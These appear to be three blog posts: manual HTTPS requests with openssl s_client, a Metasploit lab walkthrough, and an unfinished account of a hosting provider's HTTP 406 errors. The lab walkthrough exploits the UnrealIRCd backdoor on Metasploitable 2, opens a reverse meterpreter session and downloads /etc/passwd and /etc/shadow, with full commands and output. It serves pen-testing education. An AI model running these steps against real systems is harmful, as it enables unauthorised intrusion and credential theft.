Manual requests to a https web-server with „openssl s_client“: do not forget the options „-ign_eof -crlf“

Sometimes you may need to analyze the behavior and responses of a web-server or a REST service to certain requests. And sometimes you are restricted to the command line of a Linux system (e.g. during penetration testing). Then you have to type and send HTTP commands in a direct manner. While this is trivial with telnet and HTTP-commands via n unencrypted connection on port 80, you must use a tool like openssl for HTTPS-servers using TLS tunnels.

A quick search on the Internet will show you that you should be able to use "openssl" on a Linux system in the following form:

openssl s_client -connect YOUR_TARGET_WEB_DOMAIN:443

Or - if you do not want to look at certificates and related CA chains in detail - with an additional option "-quiet":

openssl s_client -quiet -connect YOUR_TARGET_WEB_DOMAIN:443

YOUR_TARGET_WEB_DOMAIN has to be replaced, of course, by a valid URI. For restricting the encryption to TLS V1.2 you would instead use:

openssl s_client -quiet -tls1_2 -connect YOUR_TARGET_WEB_DOMAIN:443

For some servers an additional option "-ign_eof" can be helpful: This hinders a connection to directly close when an "end of file" [EOF] may be reached (during a response). Meaning: The response will not be shown in some cases. The option "-quiet" triggers a "-ign_eof" behavior implicitly. But keep in mind that this option does not hinder any timeouts on the connection imposed by the server.

A problem with the interactive "openssl s_client" command-line on Linux systems

After entering the above commands at the command prompt of a Linux shell (e.g. bash) you will first see some information regarding the connection handshake and the establishment of the encryption tunnel. Then end up on a line where you can interactively enter HTTP commands. You expect to successfully enter commands in the following way:

We type "GET / HTTP/1.1." (without the quotes)    =>    we press the "ENTER"-key    =>    we get a new line    =>    we type "Host: YOUR_TARGET_WEB_DOMAIN" (without the quotes)    =>    we press the "ENTER"-key twice.

You may try this sequence with "google.com". This will work! You get, however, an information that the document has been moved to "www.google.com". But at the new address everything is working, too.

So far so good! But let us try the given recipe with another domain: www.debian.org. Using the command line within "s_client" then leads to an error:

.....
    Start Time: 1609195616
    Timeout   : 7200 (sec)
    Verify return code: 0 (ok)
    Extended master secret: no
    Max Early Data: 0
---
read R BLOCK
GET / HTTP/1.1
HTTP/1.1 400 Bad Request
Date: Mon, 28 Dec 2020 22:47:04 GMT
Server: Apache
X-Content-Type-Options: nosniff
X-Frame-Options: sameorigin
Referrer-Policy: no-referrer
X-Xss-Protection: 1
Strict-Transport-Security: max-age=15552000
Content-Length: 291
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache Server at www.debian.org Port 443</address>
</body></html>
closed

You do not even get a chance to enter the "Host: ..." line!
The same is true for other servers - as the one supporting e.g. one of my own domains "anracon.de".

A simple trick shows what the correct request format is and that it works ...

Let us use a simple trick with echo and a pipe on the Linux shell:

myself@mytux:~> (echo -ne "GET / HTTP/1.1\r\nHost: www.debian.org\r\n\r\n") | openssl s_client -tls1_2 -quiet  -connect www.debian.org:443

This leads to

depth=2 O = Digital Signature Trust Co., CN = DST Root CA X3
verify return:1
depth=1 C = US, O = Let's Encrypt, CN = Let's Encrypt Authority X3
verify return:1
depth=0 CN = www.debian.org
verify return:1
HTTP/1.1 200 OK
Date: Mon, 28 Dec 2020 23:09:01 GMT
Server: Apache
Content-Location: index.en.html
Vary: negotiate,accept-language,Accept-Encoding,cookie
TCN: choice
X-Content-Type-Options: nosniff
X-Frame-Options: sameorigin
Referrer-Policy: no-referrer
X-Xss-Protection: 1
Strict-Transport-Security: max-age=15552000
Upgrade: h2,h2c
Connection: Upgrade
Last-Modified: Sun, 27 Dec 2020 19:27:21 GMT
ETag: "36b1-5b777257b5a41"
Accept-Ranges: bytes
Content-Length: 14001
Cache-Control: max-age=86400
Expires: Tue, 29 Dec 2020 23:09:01 GMT
X-Clacks-Overhead: GNU Terry Pratchett
Content-Type: text/html
Content-Language: en

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="en">
<head>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  <title>Debian -- The Universal Operating System </title>
...
...
</div>
<!--/UdmComment-->
</div> <!-- end footer -->
</body>
</html>

 
After a timeout we get back our prompt.

So, we see that the server reacts properly for the end of line characters used, namely "\r\n" after "GET / HTTP/1.1" and after "Host: www.debian.org" plus after an empty line (leading to 2 "\r\n" at the end of the request).

But if we this change to

myself@mytux:~> (echo -ne "GET / HTTP/1.1\nHost: www.debian.org\r\n\r\n") | openssl s_client -tls1_2 -quiet  -connect www.debian.org:443

we run into a "HTTP/1.1 400 Bad Request" answer again
(Note the "\n" before "Host: ...")

Obviously, our "openssl s_client" interface works with LF-characters when pressing the "ENTER"-key on the command line. Well, the interface uses the typical Linux/Unix-style for EOLs ...

By the way:
Some servers set very short timeouts for receiving all request lines - you may have difficulties with typing fast enough. Then the "trick" with an echo-command and a pipe is very useful to test the server none the less.

What is the reason for the unequal behavior of different servers?

The correct way to build HTTP-Requests is described e.g. in "www.tutorialspoint.com (http/http_requests.htm)"; I quote:

  • A Request-line
  • Zero or more header (General|Request|Entity) fields followed by CRLF
  • An empty line (i.e., a line with nothing preceding the CRLF) indicating the end of the header fields
  • Optionally a message-body

According to RFC7230 a HTTP-Request line has the following format:

request-line = method SP request-target SP HTTP-version CRLF

However, in section 3.5 the named RFC also says:

Although the line terminator for the start-line and header fields is the sequence CRLF, a recipient MAY recognize a single LF as a line terminator and ignore any preceding CR.

So, this explains the different behavior of some web-servers to the commands sent with "openssl s_client".

What can we do with "openssl s_client" to enforce a CRLF as the end of lines when pressing the "ENTER"-key?

The "openssl s_client" has a lot of options. You find an overview at the following URI:
https://zoomadmin.com / HowToLinux / LinuxCommand / s_client
The required option for our purpose is "-crlf"; we thus arrive at:

openssl s_client <strong>-quiet -crlf</strong> -tls1_2 -connect YOUR_TARGET_WEB_DOMAIN:443

as the right way to bring RFC compliant web-servers to answer without error messages to manually sent HTTP requests within "openssl s_client".

Prepare your terminal for long answers from the server

Some web-sites may present long web pages. The HTTP/HTML code sent to you as an answer may be pretty long. As most Linux terminals limit the scroll-able output length by default you should look out for settings that allow for long or infinite output within the terminal emulation of your choice. KDE's "konsole" e.g. offers you an option to allow for scrolling output with unlimited length. A noteworthy side-effect is, however, that the contents is saved unencrypted in temporary files (for which you can define a location on your PC). So, be a bit careful when using such options.

Conclusion

Using CRLF is the RFC defined way to properly end HTTP request and header field lines. (... whether we from the Linux side may like this MS influenced definition or not ...). To enforce an "openssl s_client" to interpret the signal from an "ENTER"-key as "CRLF" (instead of "LF") we should use the option "-crlf" when opening "s_client". The additional options "-ign_eof" or "-quiet" are useful to prevent a shutdown of the connection before the server's answer is fully displayed.

Links

https://zoomadmin.com/HowToLinux/LinuxCommand/s_client
https://stackoverflow.com/questions/5757290/http-header-line-break-style
https://tools.ietf.org/html/rfc7230#section-3.5
https://www.tutorialspoint.com/http/http_requests.htm
https://www.tutorialspoint.com/http/http_quick_guide.htm

Penetration testing: Kali, Metasploit, upgrade of a session to meterpreter

Recently, I started reading in the German book of E. Amberg and D. Schmid on "Hacking" (see the full reference at this post's end). This is a book with over 1000 pages and it documents the effort of the authors to give a full overview over the wide spectrum of terms used in pen-test and hacking environments, steps of penetration testing, attack variants, tools, defense options, and, and .... . Well, it provides a really broad overview, but in contrast to some other more focused books it is not a real teaching book on penetration testing - in my opinion.

However, at some points the authors describe introductory examples, also simple exploits which can be tested e.g. on targets like Metasploitable 2 or 3 or on prepared Windows systems. This post was inspired by a chapter of the authors about "meterpreter" which they introduced after an exploitation example, i.e. in a post exploitation phase. The chapter deserves some additional hints, small, but hopefully useful for beginners.

Disclaimer:
All the information given in this post is for educational purposes and addresses people interested in and starting with penetration testing. It partially refers to information on the Metasploit Framework [MSF] and Metasploitable targets published in different form elsewhere. Book references are given at the end of this post. If you test out the examples given below, only do this in environments for which the owners and the administrators of the affected networks and systems have given you explicit written consent to install, isolate and use systems with MSF and a Metasploitable target system. Cooperate with the administrators to configure respective network segments and firewalls. Never expose a Metasploitable system to the Internet.

Exploits and shells

During pen-testing (always with the consent of your customer and system administrator) you may not only be requested to find vulnerabilities, but also to verify that an attacker really could exploit them. So - again with the explicit consent of your customer and after a solid risk estimation for the systems and networks under investigation - you may start exploits, e.g with the help of the Metasploit framework [MSF]. Your first objective then - for convenience reasons, but also for obfuscation reasons - is probably to work with a meterpreter shell, which indeed offers a variety of very convenient commands for a post exploitation phase. Often exploits offered by the MSF will not give you a chance to transfer meterpreter as a payload, but only simple interaction shells.

To replace a basic command shell of an achieved session on an attacked target with meterpreter actually is a basic move within MSF, but you may have to take care of some steps ahead. In the named book the authors mention a specific method, namely to upgrade an existing "session" to a meterpreter session.

Upgrade of a plaintext command shell with "sessions -u"

The named authors perform the following attack steps to get a session on a Metasploitable target:

  1. They use the exploit DistCC from a Kali host and get a command shell.
  2. They use an additional exploit for a privilege escalation to get root rights and to open a reverse shell to the attacking host; they provide the IP address of the Kali host and a listener port there as parameters of the exploit. They then prepare a suitable executable of the exploit and install it on the attack's target host (i.e. the Metasploitable system).
  3. They start a listener (with "exploit/multi/handler") on the Kali host. During this step they set the IP-address of the Kali host and the port there to be addressed by the reverse connection later on.
  4. They start the deployed secondary exploit on the attack target. Immediately afterward they get a session with a basic shell with MSF on the attacking Kali system.
  5. They list up the open sessions by "sessions -l" and get the session's ID - e.g. 2.
  6. They upgrade the session to a meterpreter session with "sessions -u SESSION_ID". SESSION_ID has to be replaced by the session ID. In the example: "sessions -u 2".

So far, so good. Works perfectly - at least after this specific succession of steps.

Interestingly enough Rapid7 in its documentation on the (expensive) Metasploit Pro does not discuss the command line option "sessions -u" to upgrade a sessoin - Rapid 7 only presents the option to start a meterpreter shell via the "available actions" on the graphical interface of MSF Pro. Probably the interface does nothing else than our CLI command ....

https://docs.rapid7.com/metasploit/manage-meterpreter-and-shell-sessions

Note that Sparc Flow in his book "Hack like a Pornstar" uses a different way in his example of attacking a Linux server. He manually prepares a meterpreter executable (with the help of "veil") and places it on the attacked host and starts it there. Maybe more realistic. MSF in the above example transfers meterpreter components to the attacked host as a part of the last step.

Now, a beginner to metasploit may try to repeat something similar with a different basic exploit and may fail with the session upgrade. Why?

Think about firewalls - both remote and local

A trivial point might be a firewall- somewhere ...
As a pen-tester you probably want to protect your own systems during tests - also when you are at a customer's site. (You may find some guys there who try to fiddle with you during your tests.) Your Kali will run on an isolated virtual machine or special live system on some laptop. You may have some routing and a local firewall in place on your Linux host system which controls the communication to your Kali (guest) system. But also the attacked host may reside behind a firewall (e.g. of a network segment). So, you have to carefully think about which ports to use for reverse shells. This is a basic first point where real examples may differ from the idealized world in books. I recommend to train quick reconfigurations of your own firewalls - and watch their actions via "tail" during pen-tests.
Actually, if did not have to think about firewalls and the example given by the named authors worked as described without problems this is the first indication that the network and systems on it are not well managed or that you yourself are not well prepared.

Is meterpreter an optional payload of all exploits available in MSF?

Some other textbooks introduce meterpreter as a direct payload of an exploit used within MSF. One example is M. Messner's book on Metasploit. However, many exploits available in MSF do not give you this chance. Book examples typically do and can not cover all situations. So, one should be familiar with some way of upgrading a session ... Let us look at an example with "Metasploitable 2" as a target system.

Example - IRC exploit on Metasploitable 2

Lets try a specific attack from a Kali system against a Metasploitable 2 target. Each host resides in an (isolated) LAN segment.
As I have performed this attack before I already have a respective vulnerability entry in the database tables of my MSF workspace:

msf6 > vulns

Vulnerabilities
===============

Timestamp                Host           Name                                           References
---------                ----           ----                                           ----------
...
...
2020-11-26 17:15:14 UTC  172.16.40.121  UnrealIRCD 3.2.8.1 Backdoor Command Execution  CVE-2010-2075,OSVDB-65445,URL-http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt
2020-11-26 17:34:31 UTC  172.16.40.121  VSFTPD v2.3.4 Backdoor Command Execution       OSVDB-73573,URL-http://pastebin.com/AetT9sS5,URL-http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
2020-11-26 17:44:45 UTC  172.16.40.121  Generic Payload Handler    
...

Ok, let MSF do its work:

Infos about the exploit:

msf6 > use exploit/unix/irc/unreal_ircd_3281_backdoor 
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > info

       Name: UnrealIRCD 3.2.8.1 Backdoor Command Execution
     Module: exploit/unix/irc/unreal_ircd_3281_backdoor
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-06-12

Provided by:
  hdm <x@hdm.io>

Available targets:
  Id  Name
  --  ----
  0   Automatic Target

Check supported:
  No

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT   6667             yes       The target port (TCP)

Payload information:
  Space: 1024

Description:
  This module exploits a malicious backdoor that was added to the 
  Unreal IRCD 3.2.8.1 download archive. This backdoor was present in 
  the Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 
  2010.

References:
  https://cvedetails.com/cve/CVE-2010-2075/
  OSVDB (65445)
  http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt

Here we see already that this exploit does not provide much space for action on the target system. There are not many option either:

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   6667             yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

OK, does it have a "check" option?

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOST 172.16.40.121
RHOST => 172.16.40.121
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > check
[-] Check failed: NoMethodError This module does not support check.
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > 

What payloads are available?

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show payloads

Compatible Payloads
===================

   #   Name                                Disclosure Date  Rank    Check  Description
   -   ----                                ---------------  ----    -----  -----------
   0   cmd/unix/bind_perl                                   normal  No     Unix Command Shell, Bind TCP (via Perl)
   1   cmd/unix/bind_perl_ipv6                              normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   2   cmd/unix/bind_ruby                                   normal  No     Unix Command Shell, Bind TCP (via Ruby)
   3   cmd/unix/bind_ruby_ipv6                              normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   4   cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   5   cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   6   cmd/unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   7   cmd/unix/reverse_perl                                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   8   cmd/unix/reverse_perl_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   9   cmd/unix/reverse_ruby                                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   10  cmd/unix/reverse_ruby_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   11  cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)

No meterpreter there. OK, a normal shell then ...

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload cmd/unix/bind_perl
payload => cmd/unix/bind_perl

Further options?

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  172.16.40.121    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   6667             yes       The target port (TCP)


Payload options (cmd/unix/bind_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LPORT  4444             yes       The listen port
   RHOST  172.16.40.121    no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

Do not getconfused by the LPORT setting. In this case it means the listening port at the attacked site - not on our local Kali host. Do our firewalls allow for packets to port 4444 on the target? Yes, OK, then we run the exploit:

Using the exploit:

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit

[*] 172.16.30.129:6667 - Connected to 172.16.40.121:6667...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
[*] 172.16.30.129:6667 - Sending backdoor command...
[*] Started bind TCP handler against 172.16.40.121:4444
[*] Command shell session 1 opened (0.0.0.0:0 -> 172.16.40.121:4444) at 2020-11-28 14:04:02 +0100

The interesting line is the last one, no IP address of our own attacking host appears. However, netstat on the Kali host reveals:

netstat -an | grep 4444
tcp        0      0 192.168.77.22:46705     172.16.40.121:4444      VERBUNDEN  

Our exploit setup a TCP listener on port 4444 on the target and we connected with a command shell. We should be able to see this from our shell; we just type at the blinking cursor in Metasploit:

    

whoami
root
netstat -an | grep 4444
tcp        0      0 172.16.40.121:4444      192.168.77.22:46705     ESTABLISHED

Well, we became root even with this backdoor exploit. But this is only a side remark.

Now, let us use the recipe from the "Hacking"-book authors:
We press the "CTRL-Z" key combination to put our session to the background and get an option to issue further commands at the metasploit prompt:

Background session 1? [y/N]  y
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > sessions

Active sessions
===============

  Id  Name  Type            Information  Connection
  --  ----  ----            -----------  ----------
  1         shell cmd/unix               0.0.0.0:0 -> 172.16.40.121:4444 (172.16.40.121)
  

The command "sessions" revealed a session ID to us. Now, we use the exploit shell_to_meterpreter.

Apply "shell_to_meterpreter" and "multi/handler" indirectly via "sessions -u"

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 0.0.0.0:4433 
[*] Command stager progress: 100.00% (769/769 bytes)
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > sessions

Active sessions
===============

  Id  Name  Type            Information  Connection
  --  ----  ----            -----------  ----------
  1         shell cmd/unix               0.0.0.0:0 -> 172.16.30.129:4444 (172.16.30.129)

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > 

We had expected a new meterpreter session. But nothing happens. After some time we even get a message that the started handler was stopped:

[*] Stopping exploit/multi/handler

So, what is wrong?

The manual way to upgrade to meterpreter ...

When we compare our exploit to the one discussed by the authors of the "Hacking"-book we see some differences:

The authors used a reverse shell payload. At some point they specified the IP address of the attacking host, i.e. of our Kali system. In their case the "sessions" command displayed a session which explicitly contained the IP-address of the local attacker host, i.e. of the Kali system.

Hmm. We doubt that meterpreter needs an already existing reverse shell established. Reading a bit we understand that meterpreter works as staged program. Things get uploaded in pieces via an established shell to the target's TCP handler and from there into the target's RAM.

But what if the meterpreter piece on the target requires the IP of the host because it wants to connect to the host, i.e. built its own reverse connection from the point of the view of the attacker? And what if this is taken wrongly from the running session? Or what if a local listener on the attacking Kali host is established with a wrong IP address? Then we expect problems!

Even if we later on establish a session from the Kali host to the target the uploaded and RAM-established meterpreter part on the target needs to tell the attacking host which port it will use on the target! Thus, the communication setup on both hosts must work correctly!

Let us see. There is a manual "exploit" module and command to establish meterpreter. It is even mentioned by the authors of the "Hacking"-book, but they do not elaborate on it: "/post/multi/manage/shell_to_meterpreter".
We saw a line about it in the output of "sessions -u", too. Ok, let us use it:

Direct use of shell to meterpreter

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > use post/multi/manage/shell_to_meterpreter 
msf6 post(multi/manage/shell_to_meterpreter) > info

       Name: Shell to Meterpreter Upgrade
     Module: post/multi/manage/shell_to_meterpreter
   Platform: Linux, OSX, Unix, Solaris, BSD, Windows
       Arch: 
       Rank: Normal

Provided by:
  Tom Sellers <tom@fadedcode.net>

Compatible session types:
  Shell

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  HANDLER  true             yes       Start an exploit/multi/handler to receive the connection
  LHOST                     no        IP of host that will receive the connection from the payload (Will try to auto detect).
  LPORT    4433             yes       Port for payload to connect to.
  SESSION                   yes       The session to run this module on.

Description:
  This module attempts to upgrade a command shell to meterpreter. The 
  shell platform is automatically detected and the best version of 
  meterpreter for the target is selected. Currently 
  meterpreter/reverse_tcp is used on Windows and Linux, with 
  'python/meterpreter/reverse_tcp' used on all others.

We see that indeed reverse TCP handlers are established - meterpreter on the target will want to connect back to us. It starts a handler for it. And we have to provide suitable options:

msf6 post(multi/manage/shell_to_meterpreter) > show options

Module options (post/multi/manage/shell_to_meterpreter):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   HANDLER  true             yes       Start an exploit/multi/handler to receive the connection
   LHOST                     no        IP of host that will receive the connection from the payload (Will try to auto detect).
   LPORT    4433             yes       Port for payload to connect to.
   SESSION                   yes       The session to run this module on.

Ok, we decide for a local port 8090 - and open it on firewalls. We set the relevant options:

post(multi/manage/shell_to_meterpreter) > set LHOST 192.168.77.22
LHOST => 192.168.77.22
msf6 post(multi/manage/shell_to_meterpreter) > set LPORT 8090
LPORT => 8090
msf6 post(multi/manage/shell_to_meterpreter) > set SESSION 1
SESSION => 1

Successful session upgrade

msf6 post(multi/manage/shell_to_meterpreter) > run

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.77.22:8090 
[*] Sending stage (976712 bytes) to 172.16.40.121
[*] Meterpreter session 2 opened (192.168.77.22:8090 -> 172.16.40.121:53847) at 2020-11-28 15:55:06 +0100
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
msf6 post(multi/manage/shell_to_meterpreter) > sessions

Active sessions
===============

  Id  Name  Type                   Information                                                                       Connection
  --  ----  ----                   -----------                                                                       ----------
  1         shell cmd/unix                                                                                           0.0.0.0:0 -> 172 .16.40.121:4444 (172.16.40.121)
  2         meterpreter x86/linux  root @ metasploitable (uid=0, gid=0, euid=0, egid=0) @ metasploitable.localdo...  192.168.77.22:8090 -> 172.16.40.121:53847 (172.16.40.121)

Success! On our Kali host netstat reveals:

Aktive Internetverbindungen (Server und stehende Verbindungen)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
...
tcp        0      0 192.168.77.22:8090      172.16.40.121:53847     VERBUNDEN  
tcp        0      0 192.168.77.22:46705     172.16.40.121:4444      VERBUNDEN  
...

Let us use session 1 first:

msf6 post(multi/manage/shell_to_meterpreter) > sessions -i 1
[*] Starting interaction with 1...

netstat -an | grep 4444 
tcp        0      0 172.16.30.129:4444      192.168.10.12:46705     ESTABLISHED
netstat -an | grep 8090
tcp        0      0 172.16.30.129:53847     192.168.10.12:8090      ESTABLISHED

Now we press the key combination "Ctrl-Z", again, and switch to session 2 by using "sessions -i" (the "i" stands for "interaction"):

Background session 1? [y/N]  y
msf6 post(multi/manage/shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > pwd
/etc/unreal
meterpreter > sysinfo
Computer     : metasploitable.localdomain
OS           : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux
meterpreter > lcd /root
meterpreter > lpwd
/root
meterpreter > getlwd
/root
meterpreter > download /etc/passwd ./metasploitable2
[*] Downloading: /etc/passwd -> ./metasploitable2/passwd
[*] Downloaded 1.54 KiB of 1.54 KiB (100.0%): /etc/passwd -> ./metasploitable2/passwd
[*] download   : /etc/passwd -> ./metasploitable2/passwd
meterpreter > download /etc/shadow ./metasploitable2
[*] Downloading: /etc/shadow -> ./metasploitable2/shadow
[*] Downloaded 1.18 KiB of 1.18 KiB (100.0%): /etc/shadow -> ./metasploitable2/shadow
[*] download   : /etc/shadow -> ./metasploitable2/shadow
meterpreter > route

IPv4 network routes
===================

    Subnet       Netmask        Gateway      Metric  Interface
    ------       -------        -------      ------  ---------
    0.0.0.0      0.0.0.0        172.16.40.1  100     eth0
    172.16.40.0  255.255.255.0  0.0.0.0      0       eth0

No IPv6 routes were found.

The system is yours, now. As an example, we have downloaded the password files from the Metasploitable system to a prepared local directory for later analysis.

Enough for today. Let us kill all sessions after a "Ctrl-Z":

Background session 2? [y/N]  
msf6 post(multi/manage/shell_to_meterpreter) > sessions -K
[*] Killing all sessions...
[*] 172.16.30.129 - Command shell session 1 closed.
[*] 172.16.30.129 - Meterpreter session 2 closed.

What was the reason for the failure in the first trial with "sessions -u"?

You can repeat out first attack and start "sessions -u". You have some time until the multi-handler gets stopped again. During this time you can check communication packets with wireshark at network interfaces of the hosts. And you can have a look with netstat at listeners and ports on the hosts. You will find that packets from the targetto the Kali host are addressed correctly. But a look with netstat on the Kali host reveals:

...
tcp        0      0 0.0.0.0:4433            0.0.0.0:*              LISTEN    
tcp        0      0 192.168.77.22:44909     172.16.40.121:4444      VERBUNDEN  
...

In case of the working solution we find in contrast:

....
tcp        0      0 192.168.77.22:44909     172.16.40.121:4444      VERBUNDEN  
tcp        0      0 192.168.77.22:4433      172.16.40.121:46660     LISTEN   
...

and then

tcp        0      0 192.168.77.22:4433      172.16.40.121:46660     VERBUNDEN 

So, the handler for the reverse connection on the Kali host caused the problem: It took the default IP 0.0.0.0 from the original session which only had to establish a forward direction.

Conclusion

During our experiments we saw that some simple text book examples do not always work. It depends on the exploits, the handlers, the required parameters for communication settings, .... Upgrading an existing basic shell session (connected to a compromised target host) to a meterpreter session will not always work with "sessions -u".

The success of "sessions -u" depends on the original exploit options and their payloads. Some exploit/payload combinations do not require a LHOST IP address. They do not set up a reverse connection. Instead 0.0.0.0:0 may appear after the exploit in the local MSF session overview. Then "sessions -u" will fail. Metasploit is not perfect ....

In such cases it is good to know that you can use and configure "post/multi/manage/shell_to_meterpreter" manually. In most cases this lead to a successful upgrade of an existing session to meterpreter where "sessions -u" failed.

Book references

"Hacking - Der umfassende Praxis-Guide", Fritz Amberg, Daniel Schmidt, 2020, mitp Verlags GmbH & Co KG, Frechen

"How to ... Hack like a Pornstar", Sparc Flow, 2017, ISBN 978-1-5204-7851-7

"Metasploit- Das Handbuch zum Penetration-Testing-Framework", M. Messner, 2012, dpunkt.verlag GmbH, Heidelberg

 

A remarkable experience with a HTTP Error 406 and some security measures of a web-hosting-provider

It is very seldom that you are confronted with a HTTP status message of type 406 "Not acceptable". However, this happened yesterday to a customer who uses a renowned hosting provider (in Norway) to publish his web-sites. The customer uses his own WordPress installation on hosted web-servers. His favorite browser is Firefox on a Win 10 desktop system. A week ago he could work without any restrictions. Then suddenly everything changed.

Access to website and WP admin interface broken due to security measures of the provider

At some point in time during last week the hosting-provider changed his security policies on his (Norwegian) Apache servers. The provider seems to have at least changed settings of the "mod_security" module - and thereby started to eliminate old browsers by some rules. (Maybe they even introduced the use of the mod_security module for the first time ?). To implement mod-security with a reasonable set of rules basically is a good measure.

However, the effect was that our customer got a 406 error whenever he tried to access his web-site with his Firefox browser. The "406 Not Acceptable" message indicates that a web server cannot or will not (due to some rules) satisfy some conditions in the HTTP GET- or POST-request. Our customer uses the latest version of Firefox. He tested whether he got something similar on a test installation of one of our hosted servers in Germany. Of course not.

A subsequent complaint of our customer was answered by his provider; the answer in a direct translation says:

Contact the Firefox technicians or use Chrome!

Very funny! Our customer asked us for help. We tested the web-servers response with multiple browsers from Linux and Windows desktops. The problem seemed to exist only for Firefox and only on desktop systems. This already indicated a strange server reaction to the HTTP "User-Agent" string.

But this was only part of the strange experience our customer got due to new security measures. In addition his provider enforced the usage of an Apache htaccess password (Basic HTTP user authentication) for all users who maintained their own WordPress installation on the hoster's web-servers. Our customer suddenly needed to provide a UserId and a password to get access to his WordPress installation's "wp-admin"-directory. We found out about this intentionally imposed restriction by having a look at the public web site of the provider. There, in a side column, we found a message regarding the new restriction. Customers were asked there to contact the hoster's specialists for required credentials. Our customer had not been directly informed by the provider about this new policy. So, we just sent the provider a mail and asked him to give us the authentication data to the admin folder of our customer's WP-installation. We got it one day later via email.

In my opinion these procedures indicate some mess we are facing with improperly handled IT-security activities these days.

Some comments regarding enforced HTTP Basic Authentication for WP's admin directory

Comment 1: It is, of course, OK to enforce a HTTP password access to directories of a web server. But this is only an effective protection measure if the provider at the same time enforces general TLS/SSL encryption for the access to the hosted web-sites. Otherwise the password would be sent in clear text over the Internet. However, you can still work with a WordPress installation or other CMS-installations on the provider's web-servers without any SSL certificate. Our customer has a SSL-certificate - but he had to pay for it. Here business interests of the provider obviously collide with real security procedures.

Comment 2: Personally, I regard it as a major mistake to set a common UserID and a fixed permanent password for customers and send these credentials to a web-admin via an unencrypted email. Ironically enough the provider asked the receiver in the mail to take note of the password and then to destroy the mail. So, mails on the customers mail system are dangerous, but the transfer of an unencrypted mail over at least partially unencrypted Internet lines is not?

Hey, we are not talking about a one time password here - but permanent credentials set and enforced by the provider. The CPanel admin tool offered by the hosting provider does NOT allow for the change of the fixed htaccess password set by the provider's admins.

Furthermore, why announce this policy on a public website and not inform the customers via a secure channel? Next question: How did they know that we were authorized to request the access data without contacting our customer first ???

The mess with the User-Agent string

Also interesting was the analysis of the Firefox problem. We can demonstrate the effect on the provider's own website. Here is what you presently (18.10.2019) get when opening the homepage of the provider with Firefox from a Linux desktop:

And here is what you get when you manipulate the User-Agent string a bit:

The blue rectangles have been added not to directly show the provider's name. Note the 406 error message in the FF developer tool at the bottom!

Well, well ... Our customer got the following when opening his own web-page:

Some analysis showed that we get a correct display of the web-site on the same browser if we manipulated the HTTP User-Agent-string for Firefox a bit. One way to do this is offered by the web developer tools of Firefox. However, there are also good plugins to fake the User-Agent string.

The next question was: What part in the User-Agent-string reacted the provider's Apache servers allergic to?

The standard User-Agent-string of Firefox in a HTTP-GET- or POST-request is defined to have the following structure:

